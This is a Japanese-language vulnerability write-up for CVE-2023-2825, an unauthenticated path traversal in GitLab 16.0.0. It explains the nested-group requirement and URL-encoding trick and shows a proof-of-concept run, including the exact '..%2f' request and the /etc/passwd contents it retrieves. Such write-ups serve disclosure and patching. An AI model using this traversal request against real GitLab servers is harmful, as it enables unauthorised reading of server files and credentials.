
GitLab CVE-2023-2825 PoC。このPoCは、パストラバーサルの脆弱性を利用して、GitLab 16.0.0を実行しているシステムから/etc/passwdファイルを取得します。
2023年5月23日、GitLabはバージョン16.0.1をリリースし、コミュニティエディション (CE) およびエンタープライズエディション (EE) バージョン16.0.0に影響を与える重大な脆弱性CVE-2023-2825を修正しました。この脆弱性により、認証されていないユーザーがパストラバーサルバグを通じて任意のファイルを読み取ることができます。これは、バグ報奨金プログラムを通じてHackerOneのpwnieによって発見されました。
執筆時点では、公開された概念実証はありませんでした。
認証されていない悪意のあるユーザーは、少なくとも5つのグループ内にネストされた公開プロジェクトに添付ファイルが存在する場合、パストラバーサル脆弱性を使用してサーバー上の任意のファイルを読み取ることができます。これは重大な深刻度の問題です (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N, 10.0)。
この脆弱性には、プロジェクトが少なくとも5つのグループにネストされている必要があるという興味深い要件があります。テストでは、グループの数とトラバース可能なディレクトリの数に直接的な相関関係があることがわかりました。ルールはN + 1のようです。つまり、10ディレクトリをトラバースしたい場合は11グループ必要です。
標準的なGitLabインストールでは、ファイルの添付ファイルは /var/opt/gitlab/gitlab-rails/uploads/@hashed/<a>/<b>/<secret>/<secret>/<file> にアップロードされます。そのため、ファイルシステムのルートに到達するには、10ディレクトリ戻る必要があり、したがって11グループ必要です。
GitLabのIssueに添付ファイルとしてファイルをアップロードすると、POST - /:repo/upload にリクエストが送信されます。これにより、ファイルURLを含むJSONレスポンスが返され、ファイルにアクセスできるようになります。
ファイルURLは /:repo/uploads/:id/:file で構成され、:file はファイル名そのものです。:file を任意のファイルパスに置き換えると、GitLabは要求されたファイルを返します。GitLabはこのファイルパスをサニタイズせず、パストラバーサルにつながります。
この脆弱性を正常に悪用するには、ファイルパス内の / をURLエンコードする必要があります。GitLabはこれを値として読み取り、内部でデコードします。エンコードしないと、GitLabはファイルパス内の / をルートの一部として解釈します。
テストでは、/ のみをエンコードするだけでNginxのパスエラーを回避するのに十分でした。
認証されていないユーザーは、ネストされたグループ要件を満たす公開リポジトリでのみこの脆弱性を悪用できます。リポジトリ自体にアクセスするには認証が必要です。
私たちはPythonで概念実証を開発しました。これは11グループを作成し、公開リポジトリを作成し、ファイルをアップロードし、脆弱性を悪用してファイル /etc/passwd を取得します。
$ python3 poc.py
[*] Attempting to login...
[*] Login successful as user 'root'
[*] Creating 11 groups with prefix UJB
[*] Created group 'UJB-1'
[*] Created group 'UJB-2'
[*] Created group 'UJB-3'
[*] Created group 'UJB-4'
[*] Created group 'UJB-5'
[*] Created group 'UJB-6'
[*] Created group 'UJB-7'
[*] Created group 'UJB-8'
[*] Created group 'UJB-9'
[*] Created group 'UJB-10'
[*] Created group 'UJB-11'
[*] Created public repo 'UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825'
[*] Uploaded file '/uploads/74b16af4b9048e13c4311484bbfd3b76/file'
[*] Executing exploit, fetching file '/etc/passwd': GET - /UJB-1/UJB-2/UJB-3/UJB-4/UJB-5/UJB-6/UJB-7/UJB-8/UJB-9/UJB-10/UJB-11//CVE-2023-2825/uploads/74b16af4b9048e13c4311484bbfd3b76//..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
git:x:998:998::/var/opt/gitlab:/bin/sh
gitlab-www:x:999:999::/var/opt/gitlab/nginx:/bin/false
gitlab-redis:x:997:997::/var/opt/gitlab/redis:/bin/false
gitlab-psql:x:996:996::/var/opt/gitlab/postgresql:/bin/sh
mattermost:x:994:994::/var/opt/gitlab/mattermost:/bin/sh
registry:x:993:993::/var/opt/gitlab/registry:/bin/sh
gitlab-prometheus:x:992:992::/var/opt/gitlab/prometheus:/bin/sh
gitlab-consul:x:991:991::/var/opt/gitlab/consul:/bin/sh
GitLabは、この問題の影響を受けるすべてのバージョンをできるだけ早くアップグレードすることを推奨しています。
https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/